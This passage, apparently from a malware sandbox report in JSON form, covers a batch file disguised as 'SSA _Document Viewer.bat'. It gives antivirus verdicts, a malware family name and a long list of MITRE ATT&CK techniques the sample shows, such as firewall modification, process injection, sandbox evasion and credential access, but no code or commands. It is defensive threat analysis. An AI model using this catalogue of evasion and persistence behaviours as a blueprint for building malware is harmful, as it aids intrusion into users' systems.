ile_name":"SSA _Document Viewer.bat","file_type":["script","bat"],"file_type_id":"bat","file_size":47839,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1789208408000,"last_seen":1789467974000,"last_multi_scan":1789467974000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["evasive"]},"stats":{"av":{"malicious_count":5,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":69},"sandbox_signatures":{"informative_count":165,"suspicious_count":11,"malicious_count":5,"total":181},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"RiskWare/Script.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"CMD:Heur.BZC.PZQ.Leopard.1.525782DF","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"CMD:Heur.BZC.PZQ.Leopard.1.525782DF (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"malicious","threat_name":"JS.Decoder.ijb","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"ABDownloader.TMRM","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"CMD:BZC.PZQ.Leopard.1","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to start services (Powershell command string)"},{"type":"informative","value":"Contains ability to execute windows services"},{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Able to access file/directory"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Detected file retrieval based on search patterns"},{"type":"informative","value":"Able to retrieve file and directory information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify System Firewall","attack_id":"T1562.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/004","identifiers":[{"type":"suspicious","value":"Able to modify firewall settings"},{"type":"malicious","value":"Modifies firewall settings"},{"type":"informative","value":"Detects NETSH process execution"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains ability to call WMI method (Powershell command string)"},{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Able to delete scheduled task(s)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"suspicious","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"YARA signature match - PowerShell file content"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"informative","value":"Able to create or schedule tasks using domain/system privileges"},{"type":"suspicious","value":"Contains scheduled task related strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"References URL in command line"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Contains ability to transfer data using curl"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Able to find string content in a file"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve state data for the computer (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve windows environment variables"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Found system command-related strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Privilege Escalation","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","identifiers":[{"type":"suspicious","value":"Found registry location strings which can modify auto-execute functionality"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to stop windows services"},{"type":"informative","value":"Able to change the configuration parameters of a service"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"malicious","value":"Spawns many processes"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Credential Access","technique":"Unsecured Credentials","attack_id":"T1552","attack_id_wiki":"https://attack.mitre.org/techniques/T1552","identifiers":[{"type":"informative","value":"Contains ability to search for patterns of text (possibly credentials) in files"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Command and Control","technique":"Bidirectional Communication","attack_id":"T1102.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/002","identifiers":[{"type":"informative","value":"Contains ability to upload or download data from a specified domain"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment using user register activity"},{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"suspicious","value":"Creates new processes"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Able to unregister service from Service Control Manager"},{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to create a service (API string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Persistence","technique":"Local Account","attack_id":"T1136.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1136/001","identifiers":[{"type":"informative","value":"Contains ability to create a new user account (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to add users to a group (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Defense Evasion","technique":"Rootkit","attack_id":"T1014","attack_id_wiki":"https://attack.mitre.org/techniques/T1014","identifiers":[{"type":"informative","value":"References device drivers used by rootkit malware"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Defense Evasion","technique":"Indicator Blocking","attack_id":"T1562.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/006","identifiers":[{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"malicious","value":"Maps a network share location"},{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"References Windows LDAP client module"},{"type":"informative","value":"Able to enumerate permission groups in the domain"},{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Contains ability to enumerate system network resources (API string)"},{"type":"informative","value":"Contains ability to query information about shared network resources (API string)"},{"type":"informative","value":"Able to access Windows networking-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve configuration of a workstation (API string)"},{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"Permission Groups Discovery","attack_id":"T1069","attack_id_wiki":"https://attack.mitre.org/techniques/T1069","identifiers":[{"type":"informative","value":"Contains ability to enumerate user groups or their members (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"Domain Trust Discovery","attack_id":"T1482","attack_id_wiki":"https://attack.mitre.org/techniques/T1482","identifiers":[{"type":"informative","value":"Contains ability to retrieve Domain Trust data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Collection","technique":"Local Data 